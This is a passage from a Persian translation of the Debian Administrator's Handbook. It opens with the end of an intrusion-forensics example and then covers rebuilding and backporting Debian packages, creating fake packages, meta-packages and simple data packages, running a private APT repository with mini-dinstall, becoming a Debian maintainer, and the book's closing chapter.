این فایل نشان می‌دهد که دو فایل ویدیویی با استفاده از نشانی IP 82.50.72.202 روی سرور ذخیره‌سازی شده‌اند.

به صورت موازی، مهاجم اقدام به دانلود چند فایل اضافی کرده است، /tmp/pt و /tmp/loginx. اجرای strings روی این دو برنامه عبارت‌های Shellcode placed at 0x%08lx و Now wait for suid shell... را باز می‌گرداند. این‌ها مانند برنامه‌هایی هستند که با استفاده از آسیب‌پذیری‌های محلی قصد اتخاذ دسترسی‌های سطح بالاتر را دارند. آیا به هدف خود رسیده‌اند؟ در این مورد، احتمالا خیر، چرا که پس از نفوذ اولیه به سیستم هیچ فایل دیگری تغییر نیافته است.

در این مثال، تمام حمله بازسازی شده است و می‌توان نتیجه گرفت که مهاجم به مدت سه روز کنترل سیستم را در دست داشته است؛ اما مهم‌ترین عنصر در این حمله آن است که آسیب‌پذیری شناسایی شده است و مدیر سیستم می‌تواند اطمینان یابد که با نصب بروزرسانی امنیتی آن را برطرف کرده است.

[7] https://blackarch.org

فصل 15. ساخت یک بسته دبیان

It is quite common, for an administrator who has been handling Debian packages in a regular fashion, to eventually feel the need to create their own packages, or to modify an existing package. This chapter aims to answer the most common questions in this field, and provide the required elements to take advantage of the Debian infrastructure in the best way. With any luck, after trying your hand for local packages, you may even feel the need to go further than that and join the Debian project itself!

15.1. بازسازی یک بسته از منبع آن

Rebuilding a binary package is required under several sets of circumstances. In some cases, the administrator needs a software feature that requires the software to be compiled from sources, with a particular compilation option; in others, the software as packaged in the installed version of Debian is not recent enough. In the latter case, the administrator will usually build a more recent package taken from a newer version of Debian — such as Testing or even Unstable — so that this new package works in their Stable distribution; this operation is called “backporting”. As usual, care should be taken, before undertaking such a task, to check whether it has been done already — a quick look on the Debian Package Tracker for that package will reveal that information.

→ https://tracker.debian.org/

15.1.1. دریافت منابع

Rebuilding a Debian package starts with getting its source code. The easiest way is to use the apt-get source source-package-name command. This command requires a deb-src line in the /etc/apt/sources.list file, and up-to-date index files (i.e. apt-get update). These conditions should already be met if you followed the instructions from the chapter dealing with APT configuration (see قسمت 6.1, “پر کردن فایل sources.list” ). Note, however, that you will be downloading the source packages from the Debian version mentioned in the deb-src line. If you need another version, you may need to download it manually from a Debian mirror or from the web site. This involves fetching two or three files (with extensions *.dsc — for Debian Source Control — *.tar.comp, and sometimes *.diff.gz or *.debian.tar.comp — comp taking one value among gz, bz2 or xz depending on the compression tool in use), then run the dpkg-source -x file.dsc command. If the *.dsc file is directly accessible at a given URL, there is an even simpler way to fetch it all, with the dget URL command. This command (which can be found in the devscripts package) fetches the *.dsc file at the given address, then analyzes its contents, and automatically fetches the file or files referenced within. Once everything has been downloaded, it verifies the integrity of the downloaded source packages using dscverify, and it extracts the source package (unless the -d or --download-only option is used). The Debian keyring is needed, unless the option -u is supplied.

15.1.2. ایجاد تغییرات

Let us use the samba package as an example.

$ apt source samba Reading package lists... Done NOTICE: 'samba' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/samba-team/samba.git Please use: git clone https://salsa.debian.org/samba-team/samba.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 11.7 MB of source archives. Get:1 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (dsc) [4,316 B] Get:2 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (tar) [11.4 MB] Get:3 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (diff) [252 kB] Fetched 11.7 MB in 1s (9,505 kB/s) dpkg-source: info: extracting samba in samba-4.9.5+dfsg dpkg-source: info: unpacking samba_4.9.5+dfsg.orig.tar.xz dpkg-source: info: unpacking samba_4.9.5+dfsg-5+deb10u1.debian.tar.xz dpkg-source: info: using patch list from debian/patches/series dpkg-source: info: applying 07_private_lib dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch [...]

The source of the package is now available in a directory named after the source package and its version (samba-4.9.5+dfsg); this is where we'll work on our local changes.

The first thing to do is to change the package version number, so that the rebuilt packages can be distinguished from the original packages provided by Debian. Assuming the current version is 2:4.9.5+dfsg-5, we can create version 2:4.9.5+dfsg-5falcot1, which clearly indicates the origin of the package. This makes the package version number higher than the one provided by Debian, so that the package will easily install as an update to the original package. Such a change is best effected with the dch command (Debian CHangelog) from the devscripts package.

$ cd samba-4.9.5+dfsg $ dch --local falcot

The last command invokes a text editor (sensible-editor — this should be your favorite editor if it is mentioned in the VISUAL or EDITOR environment variables, and the default editor otherwise) to allow documenting the differences brought by this rebuild. This editor shows us that dch really did change the debian/changelog file.

When a change in build options is required, the changes need to be made in debian/rules, which drives the steps in the package build process. In the simplest cases, the lines concerning the initial configuration (./configure …) or the actual build ($(MAKE) … or make …) are easy to spot. If these commands are not explicitly called, they are probably a side effect of another explicit command, in which case please refer to their documentation to learn more about how to change the default behavior. With packages using dh, you might need to add an override for the dh_auto_configure or dh_auto_build commands (see their respective manual pages for explanations on how to achieve this).

Depending on the local changes to the packages, an update may also be required in the debian/control file, which contains a description of the generated packages. In particular, this file contains Build-Depends lines controlling the list of dependencies that must be fulfilled at package build time. These often refer to versions of packages contained in the distribution the source package comes from, but which may not be available in the distribution used for the rebuild. There is no automated way to determine if a dependency is real or only specified to guarantee that the build should only be attempted with the latest version of a library — this is the only available way to force an autobuilder to use a given package version during build, which is why Debian maintainers frequently use strictly versioned build-dependencies.

If you know for sure that these build-dependencies are too strict, you should feel free to relax them locally. Reading the files which document the standard way of building the software — these files are often called INSTALL — will help you figure out the appropriate dependencies. Ideally, all dependencies should be satisfiable from the distribution used for the rebuild; if they are not, a recursive process starts, whereby the packages mentioned in the Build-Depends field must be backported before the target package can be. Some packages may not need backporting, and can be installed as-is during the build process (a notable example is debhelper). Note that the backporting process can quickly become complex if you are not careful. Therefore, backports should be kept to a strict minimum when possible.

TIP Installing Build-Depends

apt-get allows installing all packages mentioned in the Build-Depends fields of a source package available in a distribution mentioned in a deb-src line of the /etc/apt/sources.list file. This is a simple matter of running the apt-get build-dep source-package command.

15.1.3. شروع بازسازی

When all the needed changes have been applied to the sources, we can start generating the actual binary package (.deb file). The whole process is managed by the dpkg-buildpackage command.

مثال 15.1. بازسازی یک بسته

$ dpkg-buildpackage -us -uc [...]

The previous command can fail if the Build-Depends fields have not been updated, or if the related packages are not installed. In such a case, it is possible to overrule this check by passing the -d option to dpkg-buildpackage. However, explicitly ignoring these dependencies runs the risk of the build process failing at a later stage. Worse, the package may seem to build correctly but fail to run properly: some programs automatically disable some of their features when a required library is not available at build time.

TOOL fakeroot

In essence, the package creation process is a simple matter of gathering in an archive a set of existing (or built) files; most of the files will end up being owned by root in the archive. However, building the whole package under this user would imply increased risks; fortunately, this can be avoided with the fakeroot command. This tool can be used to run a program and give it the impression that it runs as root and creates files with arbitrary ownership and permissions. When the program creates the archive that will become the Debian package, it is tricked into creating an archive containing files marked as belonging to arbitrary owners, including root. This setup is so convenient that dpkg-buildpackage uses fakeroot by default when building packages.

Note that the program is only tricked into “believing” that it operates as a privileged account, and the process actually runs as the user running fakeroot program (and the files are actually created with that user's permissions). At no time does it actually get root privileges that it could abuse.

More often than not, Debian developers use a higher-level program such as debuild; this runs dpkg-buildpackage as usual, but it also adds an invocation of a program that runs many checks to validate the generated package against the Debian policy. This script also cleans up the environment so that local environment variables do not “pollute” the package build. The debuild command is one of the tools in the devscripts suite, which share some consistency and configuration to make the maintainers' task easier.

QUICK LOOK Building packages in a chrooted environment

The pbuilder program (in the similarly named package) allows building a Debian package in a chrooted environment. It first creates a temporary directory containing the minimal system required for building the package (including the packages mentioned in the Build-Depends field). This directory is then used as the root directory (/), using the chroot command, during the build process.

This tool allows the build process to happen in an environment that is not altered by users' manipulations. This also allows for quick detection of the missing build-dependencies (since the build will fail unless the appropriate dependencies are documented). Finally, it allows building a package for a Debian version that is not the one used by the system as a whole: the machine can be using Stable for its normal workload, and a pbuilder running on the same machine can be using Unstable for package builds.

schroot allows running a command or a login shell in a chrooted environment.

15.2. ساختن اولین بسته شما

15.2.1. Meta-Packages or Fake Packages

Fake packages and meta-packages are similar, in that they are empty shells that only exist for the effects their meta-data have on the package handling stack.

The purpose of a fake package is to trick dpkg and apt into believing that some package is installed even though it is only an empty shell. This allows satisfying dependencies on a package when the corresponding software was installed outside the scope of the packaging system. Such a method works, but it should still be avoided whenever possible, since there is no guarantee that the manually installed software behaves exactly like the corresponding package would and other packages depending on it would not work properly.

On the other hand, a meta-package exists mostly as a collection of dependencies, so that installing the meta-package will actually bring in a set of other packages in a single step.

Both these kinds of packages can be created by the equivs-control and equivs-build commands (in the equivs package). The equivs-control file command creates a Debian package header file that should be edited to contain the name of the expected package, its version number, the name of the maintainer, its dependencies, and its description. Other fields without a default value are optional and can be deleted. The Copyright, Changelog, Readme and Extra-Files fields are not standard fields in Debian packages; they only make sense within the scope of equivs-build, and they will not be kept in the headers of the generated package.

مثال 15.2. Header file of the libxml-libxml-perl fake package

Section: perl Priority: optional Standards-Version: 4.4.1 Package: libxml-libxml-perl Version: 2.0134-1 Maintainer: Raphael Hertzog <hertzog@debian.org> Depends: libxml2 (>= 2.7.4) Architecture: all Description: Fake package - module manually installed in site_perl This is a fake package to let the packaging system believe that this Debian package is installed. . In fact, the package is not installed since a newer version of the module has been manually compiled & installed in the site_perl directory.

The next step is to generate the Debian package with the equivs-build file command. Voilà: the package is created in the current directory and it can be handled like any other Debian package would.

15.2.2. Simple File Archive

The Falcot Corp administrators need to create a Debian package in order to ease deployment of a set of documents on a large number of machines. The administrator in charge of this task first reads the “New Maintainer's Guide”, then starts working on their first package.

→ https://www.debian.org/doc/manuals/maint-guide/

The first step is creating a falcot-data-1.0 directory to contain the target source package. The package will logically, be named falcot-data and bear the 1.0 version number. The administrator then places the document files in a data subdirectory. Then they invoke the dh_make command (from the dh-make package) to add files required by the package generation process, which will all be stored in a debian subdirectory:

$ cd falcot-data-1.0 $ dh_make --native Type of package: (single, indep, library, python) [s/i/l/p]? i Maintainer Name : Raphael Hertzog Email-Address : hertzog@debian.org Date : Fri, 04 Sep 2015 12:09:39 -0400 Package Name : falcot-data Version : 1.0 License : gpl3 Package Type : indep Are the details correct? [Y/n/q] Currently there is not top level Makefile. This may require additional tuning Done. Please edit the files in the debian/ subdirectory now. $

The selected type of package (indep) indicates that this source package will generate a single binary package that can be shared across all architectures (Architecture: all). single acts as a counterpart, and leads to a single binary package that is dependent on the target architecture (Architecture: any). In this case, the former choice is more relevant since the package only contains documents and no binary programs, so it can be used similarly on computers of all architectures.

The library type corresponds to a source package leading to several binary packages. It is useful for shared libraries, since they need to follow strict packaging rules.

TIP Maintainer's name and email address

Most of the programs involved in package maintenance will look for your name and email address in the DEBFULLNAME and DEBEMAIL or EMAIL environment variables. Defining them once and for all will avoid you having to type them multiple times. If your usual shell is bash, it is a simple matter of adding the following two lines in your ~/.bashrc file (you will obviously replace the values with more relevant ones!):

export EMAIL="hertzog@debian.org" export DEBFULLNAME="Raphael Hertzog"

The dh_make command created a debian subdirectory with many files. Some are required, in particular rules, control, changelog and copyright. Files with the .ex extension are example files that can be used by modifying them (and removing the extension) when appropriate. When they are not needed, removing them is recommended. The compat file should be kept, since it is required for the correct functioning of the debhelper suite of programs (all beginning with the dh_ prefix) used at various stages of the package build process.

The copyright file must contain information about the authors of the documents included in the package, and the related license. In our case, these are internal documents and their use is restricted to within the Falcot Corp company. The default changelog file is generally appropriate; replacing the “Initial release” with a more verbose explanation and changing the distribution from unstable to internal is enough. The control file was also updated: the Section field has been changed to misc and the Homepage, Vcs-Git and Vcs-Browser fields were removed. The Depends fields was completed with firefox-esr | www-browser so as to ensure the availability of a web browser able to display the documents in the package.

مثال 15.3. The control file

Source: falcot-data Section: misc Priority: optional Maintainer: Raphael Hertzog <hertzog@debian.org> Build-Depends: debhelper (>= 10) Standards-Version: 4.4.1 Package: falcot-data Architecture: all Depends: firefox-esr | www-browser, ${misc:Depends} Description: Internal Falcot Corp Documentation This package provides several documents describing the internal structure at Falcot Corp. This includes: - organization diagram - contacts for each department. . These documents MUST NOT leave the company. Their use is INTERNAL ONLY.

مثال 15.4. The changelog file

falcot-data (1.0) internal; urgency=low * Initial Release. * Let's start with few documents: - internal company structure; - contacts for each department. -- Raphael Hertzog <hertzog@debian.org> Fri, 04 Sep 2015 12:09:39 -0400

مثال 15.5. The copyright file

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Upstream-Name: falcot-data Files: * Copyright: 2004-2019 Falcot Corp License: All rights reserved.

BACK TO BASICS Makefile file

A Makefile file is a script used by the make program; it describes rules for how to build a set of files from each other in a tree of dependencies (for instance, a program can be built from a set of source files). The Makefile file describes these rules in the following format:

target: source1 source2 ... command1 command2

The interpretation of such a rule is as follows: if one of the source* files is more recent than the target file, then the target needs to be generated, using command1 and command2.

Note that the command lines must start with a tab character; also note that when a command line starts with a dash character (-), failure of the command does not interrupt the whole process.

The rules file usually contains a set of rules used to configure, build and install the software in a dedicated subdirectory (named after the generated binary package). The contents of this subdirectory is then archived within the Debian package as if it were the root of the filesystem. In our case, files will be installed in the debian/falcot-data/usr/share/falcot-data/ subdirectory, so that installing the generated package will deploy the files under /usr/share/falcot-data/. The rules file is used as a Makefile, with a few standard targets (including clean and binary, used respectively to clean the source directory and generate the binary package).

Although this file is the heart of the process, it increasingly contains only the bare minimum for running a standard set of commands provided by the debhelper tool. Such is the case for files generated by dh_make. To install our files, we simply configure the behavior of the dh_install command by creating the following debian/falcot-data.install file:

data/* usr/share/falcot-data/

At this point, the package can be created. We will, however, add a lick of paint. Since the administrators want the documents to be easily accessed from the menus of graphical desktop environments, we add a falcot-data.desktop file and get it installed in /usr/share/applications by adding a second line to debian/falcot-data.install.

مثال 15.6. The falcot-data.desktop file

[Desktop Entry] Name=Internal Falcot Corp Documentation Comment=Starts a browser to read the documentation Exec=x-www-browser /usr/share/falcot-data/index.html Terminal=false Type=Application Categories=Documentation;

The updated debian/falcot-data.install looks like this:

data/* usr/share/falcot-data/ falcot-data.desktop usr/share/applications/

Our source package is now ready. All that is left to do is to generate the binary package, with the same method we used previously for rebuilding packages: we run the dpkg-buildpackage -us -uc command from within the falcot-data-1.0 directory.

15.3. Creating a Package Repository for APT

Falcot Corp gradually started maintaining a number of Debian packages either locally modified from existing packages or created from scratch to distribute internal data and programs.

To make deployment easier, they want to integrate these packages in a package archive that can be directly used by APT. For obvious maintenance reasons, they wish to separate internal packages from locally-rebuilt packages. The goal is for the matching entries in a /etc/apt/sources.list.d/falcot.list file to be as follows:

deb http://packages.falcot.com/ updates/ deb http://packages.falcot.com/ internal/

The administrators therefore configure a virtual host on their internal HTTP server, with /srv/vhosts/packages/ as the root of the associated web space. The management of the archive itself is delegated to the mini-dinstall command (in the similarly-named package). This tool keeps an eye on an incoming/ directory (in our case, /srv/vhosts/packages/mini-dinstall/incoming/) and waits for new packages there; when a package is uploaded, it is installed into a Debian archive at /srv/vhosts/packages/. The mini-dinstall command reads the *.changes file created when the Debian package is generated. These files contain a list of all other files associated with the version of the package (*.deb, *.dsc, *.diff.gz/*.debian.tar.gz, *.orig.tar.gz, or their equivalents with other compression tools), and these allow mini-dinstall to know which files to install. *.changes files also contain the name of the target distribution (often unstable) mentioned in the latest debian/changelog entry, and mini-dinstall uses this information to decide where the package should be installed. This is why administrators must always change this field before building a package, and set it to internal or updates, depending on the target location. mini-dinstall then generates the files required by APT, such as Packages.gz.

ALTERNATIVE apt-ftparchive and reprepro

If mini-dinstall seems too complex for your Debian archive needs, you can also use the apt-ftparchive command. This tool scans the contents of a directory and displays (on its standard output) a matching Packages file. In the Falcot Corp case, administrators could upload the packages directly into /srv/vhosts/packages/updates/ or /srv/vhosts/packages/internal/, then run the following commands to create the Packages.gz files:

$ cd /srv/vhosts/packages $ apt-ftparchive packages updates >updates/Packages $ gzip updates/Packages $ apt-ftparchive packages internal >internal/Packages $ gzip internal/Packages

The apt-ftparchive sources command allows creating Sources.gz files in a similar fashion.

reprepro is a more advanced tool for the same purpose. It can produce, manage and synchronize a local repository of packages. It stores packages and checksums in a Berkeley DB database file, so no database server is needed. With reprepro you can check signatures of mirrored repositories and create signatures of the generated package indices.

Configuring mini-dinstall requires setting up a ~/.mini-dinstall.conf file; in the Falcot Corp case, the contents are as follows:

[DEFAULT] archive_style = flat archivedir = /srv/vhosts/packages verify_sigs = 0 mail_to = admin@falcot.com generate_release = 1 release_origin = Falcot Corp release_codename = stable [updates] release_label = Recompiled Debian Packages [internal] release_label = Internal Packages

One decision worth noting is the generation of Release files for each archive. This can help manage package installation priorities using the /etc/apt/preferences configuration file (see قسمت 6.2.5, “مدیریت اولویت بسته‌ها” for details).

SECURITY mini-dinstall and permissions

Since mini-dinstall has been designed to run as a regular user, there is no need to run it as root. The easiest way is to configure everything within the user account belonging to the administrator in charge of creating the Debian packages. Since only this administrator has the required permissions to put files in the incoming/ directory, we can deduce that the administrator authenticated the origin of each package prior to deployment and mini-dinstall does not need to do it again. This explains the verify_sigs = 0 parameter (which means that signatures need not be verified). However, if the contents of packages are sensitive, we can reverse the setting and elect to authenticate with a keyring containing the public keys of persons allowed to create packages (configured with the extra_keyrings parameter); mini-dinstall will then check the origin of each incoming package by analyzing the signature integrated to the *.changes file.

Invoking mini-dinstall actually starts a daemon in the background. As long as this daemon runs, it will check for new packages in the incoming/ directory every half-hour; when a new package arrives, it will be moved to the archive and the appropriate Packages.gz and Sources.gz files will be regenerated. If running a daemon is a problem, mini-dinstall can also be manually invoked in batch mode (with the -b option) every time a package is uploaded into the incoming/ directory. Other possibilities provided by mini-dinstall are documented in its mini-dinstall(1) manual page.

EXTRA Generating a signed archive

The APT suite checks a chain of cryptographic signatures on the packages it handles before installing them, in order to ensure their authenticity (see قسمت 6.6, “بررسی صحت بسته‌ها” ). Private APT archives can then be a problem, since the machines using them will keep displaying warnings about unsigned packages. A diligent administrator will therefore integrate private archives with the secure APT mechanism.

To help with this process, mini-dinstall includes a release_signscript configuration option that allows specifying a script to use for generating the signature. A good starting point is the sign-release.sh script provided by the mini-dinstall package in /usr/share/doc/mini-dinstall/examples/; local changes may be relevant.

15.4. Becoming a Package Maintainer

15.4.1. Learning to Make Packages

Creating a quality Debian package is not always a simple task, and becoming a package maintainer takes some learning, both with theory and practice. It is not a simple matter of building and installing software; rather, the bulk of the complexity comes from understanding the problems and conflicts, and more generally the interactions, with the myriad of other packages available.

15.4.1.1. Rules

A Debian package must comply with the precise rules compiled in the Debian policy, and each package maintainer must know them. There is no requirement to know them by heart, but rather to know they exist and to refer to them whenever a choice presents a non-trivial alternative. Every Debian maintainer has made mistakes by not knowing about a rule, but this is not a huge problem as long as the error gets fixed when a user reports it as a bug report (which tends to happen fairly soon thanks to advanced users). The Standards-Version field in debian/control specifies the version of the Debian policy with which a package complies. Maintainers should comply to the latest version of the Debian policy.

→ https://www.debian.org/doc/debian-policy/

15.4.1.2. Procedures

Debian is not a simple collection of individual packages. Everyone's packaging work is part of a collective project; being a Debian developer involves knowing how the Debian project operates as a whole. Every developer will, sooner or later, interact with others. The Debian Developer's Reference (in the developers-reference package) summarizes what every developer must know in order to interact as smoothly as possible with the various teams within the project, and to take the best possible advantages of the available resources. This document also enumerates a number of duties a developer is expected to fulfill.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. Tools

Many tools help package maintainers in their work. This section describes them quickly, but does not give the full details, since they all have comprehensive documentation of their own.

15.4.1.3.1. The lintian Program

This tool is one of the most important: it is the Debian package checker. It is based on a large array of tests created from the Debian policy, and detects quickly and automatically many errors that can then be fixed before packages are released.

This tool is only a helper, and it sometimes gets it wrong (for instance, since the Debian policy changes over time, lintian is sometimes outdated). It is also not exhaustive: not getting any Lintian error should not be interpreted as a proof that the package is perfect; at most, it avoids the most common errors.

15.4.1.3.2. The piuparts Program

This is another important tool: it automates the installation, upgrade, removal and purge of a package (in an isolated environment), and checks that none of these operations leads to an error. It can help in detecting missing dependencies, and it also detects when files are incorrectly left over after the package got purged.

15.4.1.3.3. devscripts

The devscripts package contains many programs helping with a wide array of a Debian developer's job:

debuild allows generating a package (with dpkg-buildpackage) and running lintian to check its compliance with the Debian policy afterwards.

debclean cleans a source package after a binary package has been generated.

dch allows quick and easy editing of a debian/changelog file in a source package.

uscan checks whether a new version of a software has been released by the upstream author; this requires a debian/watch file with a description of the location of such releases.

debi allows installing (with dpkg -i) the Debian package that was just generated without the need to type its full name and path.

In a similar fashion, debc allows scanning the contents of the recently-generated package (with dpkg -c), without needing to type its full name and path.

bts controls the bug tracking system from the command line; this program automatically generates the appropriate emails.

debrelease uploads a recently-generated package to a remote server, without needing to type the full name and path of the related .changes file.

debsign signs the *.dsc and *.changes files.

uupdate automates the creation of a new revision of a package when a new upstream version has been released.

15.4.1.3.4. debhelper and dh-make

Debhelper is a set of scripts easing the creation of policy-compliant packages; these scripts are invoked from debian/rules. Debhelper has been widely adopted within Debian, as evidenced by the fact that it is used by the majority of official Debian packages. All the commands it contains have a dh_ prefix.

The dh_make script (in the dh-make package) creates files required for generating a Debian package in a directory initially containing the sources for a piece of software. As can be guessed from the name of the program, the generated files use debhelper by default.

15.4.1.3.5. autopkgtest

autopkgtest runs tests on binary packages, using the tests supplied in the source package.

15.4.1.3.6. reprotest

reprotest builds the same source code twice in different environments, and then checks the binaries produced by each build for differences. If any are found, then diffoscope (if unavailable, diff) is used to display them in detail for later analysis.

15.4.1.3.7. dupload and dput

The dupload and dput commands allow uploading a Debian package to a (possibly remote) server. This allows developers to publish their package on the main Debian server (ftp-master.debian.org) so that it can be integrated to the archive and distributed by mirrors. These commands take a *.changes file as a parameter, and deduce the other relevant files from its contents.

15.4.2. Acceptance Process

Becoming a “Debian developer” is not a simple administrative matter. The process comprises several steps, and is as much an initiation as it is a selection process. In any case, it is formalized and well-documented, so anyone can track their progression on the website dedicated to the new member process.

→ https://nm.debian.org/

EXTRA Lightweight process for “Debian Maintainers”

“Debian Maintainer” is another status that gives less privileges than “Debian developer” but whose associated process is quicker. With this status, the contributors can maintain their own packages only. A Debian developer only needs to perform a check on an initial upload, and issue a statement to the effect that they trust the prospective maintainer with the ability to maintain the package on their own.

15.4.2.1. Prerequisites

All candidates are expected to have at least a working knowledge of the English language. This is required at all levels: for the initial communications with the examiner, of course, but also later, since English is the preferred language for most of the documentation; also, package users will be communicating in English when reporting bugs, and they will expect replies in English.

The other prerequisite deals with motivation. Becoming a Debian developer is a process that only makes sense if the candidate knows that their interest in Debian will last for many months. The acceptance process itself may last for several months, and Debian needs developers for the long haul; each package needs permanent maintenance, and not just an initial upload.

15.4.2.2. Registration

The first (real) step consists in finding a sponsor or advocate; this means an official developer willing to state that they believe that accepting X would be a good thing for Debian. This usually implies that the candidate has already been active within the community, and that their work has been appreciated. If the candidate is shy and their work is not publicly touted, they can try to convince a Debian developer to advocate them by showing their work in a private way.

At the same time, the candidate must generate a public/private RSA key pair with GnuPG, which should be signed by at least two official Debian developers. The signature authenticates the name on the key. Effectively, during a key signing party, each participant must show an official identification (usually an ID card or passport) together with their key identifiers. This step confirms the link between the human and the keys. This signature thus requires meeting in real life. If you have not yet met any Debian developers in a public free software conference, you can explicitly seek developers living nearby using the list on the following webpage as a starting point.

→ https://wiki.debian.org/Keysigning

Once the registration on nm.debian.org has been validated by the advocate, an Application Manager is assigned to the candidate. The application manager will then drive the process through multiple pre-defined steps and checks.

The first verification is an identity check. If you already have a key signed by two Debian developers, this step is easy; otherwise, the application manager will try and guide you in your search for Debian developers close by to organize a meet-up and a key signing.

15.4.2.3. Accepting the Principles

These administrative formalities are followed by philosophical considerations. The point is to make sure that the candidate understands and accepts the social contract and the principles behind Free Software. Joining Debian is only possible if one shares the values that unite the current developers, as expressed in the founding texts (and summarized in فصل 1, پروژه دبیان).

In addition, each candidate wishing to join the Debian ranks is expected to know the workings of the project, and how to interact appropriately to solve the problems they will doubtless encounter as time passes. All of this information is generally documented in manuals targeting the new maintainers, and in the Debian developer's reference. An attentive reading of this document should be enough to answer the examiner's questions. If the answers are not satisfactory, the candidate will be informed. They will then have to read (again) the relevant documentation before trying again. In the cases where the existing documentation does not contain the appropriate answer for the question, the candidate can usually reach an answer with some practical experience within Debian, or potentially by discussing with other Debian developers. This mechanism ensures that candidates get involved somewhat in Debian before becoming a full part of it. It is a deliberate policy, by which candidates who eventually join the project are integrated as another piece of an infinitely extensible jigsaw puzzle.

This step is usually known as the Philosophy & Procedures (P&P for short) in the lingo of the developers involved in the new member process.

15.4.2.4. Checking Skills

Each application to become an official Debian developer must be justified. Becoming a project member requires showing that this status is legitimate, and that it facilitates the candidate's job in helping Debian. The most common justification is that being granted Debian developer status eases maintenance of a Debian package, but it is not the only one. Some developers join the project to contribute to porting to a specific architecture, others want to improve documentation, and so on.

This step represents the opportunity for the candidate to state what they intend to do within the Debian project and to show what they have already done towards that end. Debian is a pragmatic project and saying something is not enough, if the actions do not match what is announced. Generally, when the intended role within the project is related to package maintenance, a first version of the prospective package will have to be validated technically and uploaded to the Debian servers by a sponsor among the existing Debian developers.

COMMUNITY Sponsoring

Debian developers can “sponsor” packages prepared by someone else, meaning that they publish them in the official Debian repositories after having performed a careful review. This mechanism enables external persons, who have not yet gone through the new member process, to contribute occasionally to the project. At the same time, it ensures that all packages included in Debian have always been checked by an official member.

Finally, the examiner checks the candidate's technical (packaging) skills with a detailed questionnaire. Bad answers are not permitted, but the answer time is not limited. All the documentation is available and several tries are allowed if the first answers are not satisfactory. This step does not intend to discriminate, but to ensure at least a modicum of knowledge common to new contributors.

This step is known as the Tasks & Skills step (T&S for short) in the examiners' jargon.

15.4.2.5. Final Approval

At the very last step, the whole process is reviewed by a DAM (Debian Account Manager). The DAM will review all the information about the candidate that the examiner collected, and makes the decision on whether or not to create an account on the Debian servers. In cases where extra information is required, the account creation may be delayed. Refusals are rather rare if the examiner does a good job of following the process, but they sometimes happen. They are never permanent, and the candidate is free to try again at a later time.

The DAM's decision is authoritative and (almost) without appeal, which explains why the people in that seat have often been criticized in the past.

فصل 16. Conclusion: Debian's Future

The story of Falcot Corp ends with this last chapter; but Debian lives on, and the future will certainly bring many interesting surprises.

16.1. Upcoming Developments

Now that Debian version 10 is out, the developers are already busy working on the next version, codenamed Bullseye…

There is no official list of planned changes, and Debian never makes promises relating to technical goals of the coming versions. However, a few development trends can already be noted, and we can try to guess what might happen (or not).

In order to improve security and trust, an increasing number of packages will be made to build reproducibly; that is to say, it will be possible to rebuild byte-for-byte identical binary packages from the source packages, thus allowing everyone to verify that no tampering has happened during the builds. This feature might even be required by the release managers for testing migration.

In a related theme, a lot of effort will have gone into improving security by default, with more packages shipping an AppArmor profile.

Of course, all the main software suites will have had a major release. The latest version of the various desktops will bring better usability and new features. Wayland, the new display server, will likely obsolete X11 entirely.

With the widespread use of continuous integration and the growth of the archive (and of the biggest packages!), the constraints on release architectures will be harder to meet and some architectures will be dropped (like mips, mipsel and maybe mips64el).

16.2. Debian's Future

In addition to these internal developments, one can reasonably expect new Debian-based distributions to come to light, as many tools keep simplifying this task. New specialized subprojects will also be started, in order to widen Debian's reach to new horizons.

The Debian user community will increase, and new contributors will join the project… including, maybe, you!

There are recurring discussions about how the software ecosystem is evolving, towards applications shipped within containers, where Debian packages have no added value, or with language-specific package managers (e.g. pip for Python, npm for JavaScript, etc.), which are rendering dpkg and apt obsolete. Facing those threats, I am convinced that Debian developers will find ways to embrace those evolutions and to continue to provide value to users.

In spite of its old age and its respectable size, Debian keeps on growing in all kinds of (sometimes unexpected) directions. Contributors are teeming with ideas, and discussions on development mailing lists, even when they look like bickerings, keep increasing the momentum. Debian is sometimes compared to a black hole, of such density that any new free software project is attracted.

Beyond the apparent satisfaction of most Debian users, a deep trend is becoming more and more indisputable: people are increasingly realizing that collaborating, rather than working alone in their corner, leads to better results for everyone. Such is the rationale used by distributions merging into Debian by way of subprojects.

The Debian project is therefore not threatened by extinction…

16.3. Future of this Book

We would like this book to evolve in the spirit of free software. We therefore welcome contributions, remarks, suggestions, and criticism. Please direct them to Raphaël (<hertzog@debian.org>) or Roland (<lolando@debian.org>). For actionable feedback, feel free to open bug reports against the debian-handbook Debian package. The website will be used to gather all information relevant to its evolution, and you will find there information on how to contribute, in particular if you want to translate this book to make it available to an even larger public than today.

→ https://debian-handbook.info/

We tried to integrate most of what our experience with Debian taught us, so that anyone can use this distribution and take the best advantage of it as soon as possible. We hope this book contributes to making Debian less confusing and more popular, and we welcome publicity around it!

We would like to conclude on a personal note. Writing (and translating) this book took a considerable amount of time out of our usual professional activity. Since we are both freelance consultants, any new source of income grants us the freedom to spend more time improving Debian; we hope this book to be successful and to contribute to this. In the meantime, feel free to retain our services!

→ https://www.freexian.com

→ http://www.gnurandal.com

See you soon!

پيوست A. توزیع‌های مشتق شده

بسیاری از توزیع‌های لینوکس از دبیان مشتق شده‌اند و از ابزار مدیریت بسته آن استفاده می‌کنند. همه آن‌ها قابلیت خاص خود را دارند و احتمال اینکه یکی از این توزیع‌ها نیاز شما را بهتر از خود دبیان برطرف کند وجود دارد.

A.1. سرشماری آماری و همکاری

پروژه دبیان به اهمیت توزیع‌های مشتق شده اذعان دارد و از همکاری‌های بین گروه‌های مختلف در این زمینه به شدت حمایت می‌کند. این فرآیند با ادغام قابلیت‌هایی که توزیع‌های دیگر بوجود آورده‌اند، در نسخه دبیان صورت می‌گیرد تا همگی از آن بهره‌مند شوند و هزینه‌های نگهداری در طولانی مدت کاهش یابد.

